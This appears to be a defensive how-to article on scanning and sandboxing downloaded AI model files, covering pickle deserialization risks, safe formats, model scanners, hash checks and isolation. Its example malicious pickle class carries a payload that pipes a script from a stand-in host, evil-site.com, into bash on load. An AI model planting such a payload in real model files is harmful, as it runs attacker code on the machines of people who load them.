How to Scan and Sanitize Downloaded AI Models LLM for Malware

How2's
1

The Invisible Threat: How to Scan and Sanitize Downloaded AI Models for Malware

Running large language models (LLMs) locally whether via Ollama, LM Studio, or custom Python scripts gives you speed, total privacy, and complete control over your hardware. However, it also introduces a supply chain security vector that standard antivirus software often fails to flag.

When you download an AI model, you aren’t just downloading static text or a clean block of floating-point numbers. Depending on the format, loading an ML model can execute arbitrary code on your system.

If you frequently pull open-weight models from public hubs, here is a comprehensive guide on how model malware works, how to scan your files before running them, and how to structure your local environment to stay protected.

The Root Cause: Serialization Attacks & .bin / .pkl Files

To understand how to scan models, you first need to understand how they are saved to disk a process called serialization.

In Python, the historical standard for saving objects (including neural network weights) is the pickle format. When PyTorch saves a model using torch.save(), it uses pickle under the hood.

Why Pickles Are Dangerous

Pickle is not a raw data format; it is a stack-based virtual machine. When Python loads a pickle file using pickle.load() or torch.load(), it executes bytecode instructions to reconstruct the object.

Attackers take advantage of a built-in Python mechanism named __reduce__. This method allows an object to define exact functions and shell commands that should run upon deserialization.

Python

# What a malicious pickle payload looks like under the hood
import os

class MaliciousModel:
    def __reduce__(self):
        # Executes immediately when torch.load() or pickle.load() is called
        return (os.system, ("curl -s https://evil-site.com/stealer.sh | bash",))

If you download a .bin, .pt, or .pth model containing a pickle payload and execute torch.load(), the malicious payload runs automatically with full user privileges before the model even finishes loading into memory.

Step 1: Adopt Safe Model Formats First

The single most effective defense against model malware is choosing static, non-executable model formats over legacy serialized ones.

┌─────────────────────────────────────────────────────────────┐
│                   SAFETY SPECTRUM                           │
│                                                             │
│  [ SAFE ]                                  [ DANGEROUS ]    │
│  Safetensors ─────── GGUF / EXL2 ────────── PyTorch/Pickle  │
│  (Zero Code Execution) (Constrained Parsers) (Arbitrary RCE)│
└─────────────────────────────────────────────────────────────┘

  • Safetensors (Most Secure): Developed by Hugging Face specifically to eradicate the pickle vulnerability. It stores raw tensors and a JSON header. It contains no executable code, meaning it cannot trigger code execution on load. Always prioritize downloading .safetensors files.

  • GGUF (Very Secure): Used primarily by llama.cpp, Ollama, and LM Studio. GGUF is a binary layout containing key-value metadata and raw tensor data. While memory-buffer overflow vulnerabilities in C++ parsers are theoretically possible, GGUF does not support arbitrary code execution by design.

  • Pickled Models (.pt, .pth, .bin, .pkl) (High Risk): Legacy PyTorch and Python formats. Never load these from untrusted sources without performing static analysis first.

Step 2: Use Dedicated Model Scanners

Traditional antivirus software (like Windows Defender, Bitdefender, or ClamAV) relies on signature matching for traditional Windows/Linux executables. They generally do not parse Python pickle bytecode or inspect tensor headers, making them blind to model serialization attacks.

To detect embedded payloads, you need dedicated machine learning security tools.

Option A: ModelAudit (Recommended)

ModelAudit is an open-source static security scanner designed to inspect over 40+ AI file formats (including PyTorch, GGUF, ONNX, and TFLite) for deserialization attacks, CVEs, and hidden scripts.

Installation & Usage:

Bash

# Install via pip
pip install modelaudit

# Scan a local model directory or file
modelaudit scan /path/to/your/model.safetensors
modelaudit scan /path/to/suspicious_model.bin

Because ModelAudit parses the internal opcode structures without executing the file, it safely identifies malicious calls (like os.system, subprocess.Popen, or suspicious socket requests) inside pickle structures.

Option B: ModelScan by Protect AI

ModelScan is another widely used open-source tool built to check PyTorch, Keras, and H5 models for serialization vulnerabilities.

Installation & Usage:

Bash

# Install via pip
pip install modelscan

# Scan a model file or folder
modelscan -p /path/to/model_directory

If ModelScan detects an unsafe opcode or prohibited import inside a pickle stream, it flags the issue and returns a non-zero exit code.

Step 3: Audit Model Source Code and Adapters

Malware isn’t always hidden inside binary weight files. Sometimes, it is hidden in plain sight inside the repository’s helper code or custom Python classes.

When pulling models from platforms like Hugging Face or GitHub, check for these red flags:

1. trust_remote_code=True

When using Python libraries like transformers, you might see instructions telling you to pass trust_remote_code=True:

Python

# WARNING: This downloads and runs arbitrary Python scripts from the model repo!
model = AutoModelForCausalLM.from_pretrained(
    "some-user/cool-model", 
    trust_remote_code=True
)

Setting this parameter allows the model repository to execute custom Python scripts stored inside its repo on your machine.

  • Rule of thumb: Avoid setting trust_remote_code=True unless you have thoroughly read every .py file inside the repository.

  • Prefer models that run natively on standard, mainlined architecture implementations in transformers or llama.cpp.

2. Inspect Custom Modelfiles & Quantization Scripts

When downloading GGUFs or custom Ollama Modelfile setups, inspect system prompts, custom embedding settings, or attached script utilities to ensure no wrapper scripts are invoking curl, wget, or encoded base64 commands in the background.

Step 4: Verify Hashes and Provenance

Supply chain tampering occurs when a reputable model is altered or intercepted. Always verify the integrity of large model files after downloading.

Compare SHA256 Hashes

Most reputable model hosts publish SHA256 checksums alongside model releases.

  1. Generate the hash of your downloaded file:

    Bash

    # On Linux/macOS
sha256sum model.gguf

# On Windows PowerShell
Get-FileHash model.gguf -Algorithm SHA256

  2. Match the resulting output string against the SHA256 hash published on the official Hugging Face repository or model provider page.

Use Official Repositories

Download models directly from primary sources—such as official organization accounts (e.g., meta-llama, mistralai, Qwen) or vetted community quantizers (e.g., TheBloke, unsloth, mradermacher). Avoid downloading weight files shared via generic file-hosting links, anonymous Discord servers, or untrusted third-party mirrors.

Step 5: Implement Defensive Environment Isolation

Static scanners are essential, but defense-in-depth requires isolating your execution environment. If a zero-day payload bypasses your scanner, sandbox isolation prevents it from accessing your personal host system.

1. Use Non-Root Docker Containers

Run model inference engines inside isolated Docker containers with non-root privileges and restricted host folder mounts:

Dockerfile

# Example concept for sandbox running
FROM python:3.11-slim
RUN useradd -m aiuser
USER aiuser
WORKDIR /app
# Do not mount user home directories (~/) or sensitive system paths

2. Isolate Network Access During Loading

If you must load a legacy .bin or .pt model using Python, disable network access for the process during initialization so malicious payloads cannot establish a reverse shell or exfiltrate environment variables:

Bash

# On Linux, use firejail or unshare to strip network access
unshare -n python load_model.py

3. PyTorch Weights-Only Mode

If you are writing custom Python scripts that must load .pt or .pth files, use PyTorch’s native weights_only=True parameter:

Python

import torch

# Restricts the unpickler to standard PyTorch tensor structures only
weights = torch.load("model.pt", weights_only=True)

Quick Reference Checklist Before Running a New Model

To simplify your security workflow, follow this quick checklist every time you download a model:

  • [ ] Format Check: Is the file a .safetensors or .gguf file? (If yes, security risk is drastically lower).

  • [ ] Scan Pickles: If using .bin, .pt, or .pth, have you scanned the directory with modelaudit or modelscan?

  • [ ] Remote Code Check: Did you avoid setting trust_remote_code=True?

  • [ ] Checksum Verification: Does the file’s sha256 hash match the repository release?

  • [ ] Environment Isolation: Are you running inference inside a dedicated virtual environment or container instead of system-wide Python?

By pairing static non-executable file formats (.safetensors) with static bytecode analysis tools (ModelAudit), you can explore open-weight models without exposing your infrastructure to supply chain attacks.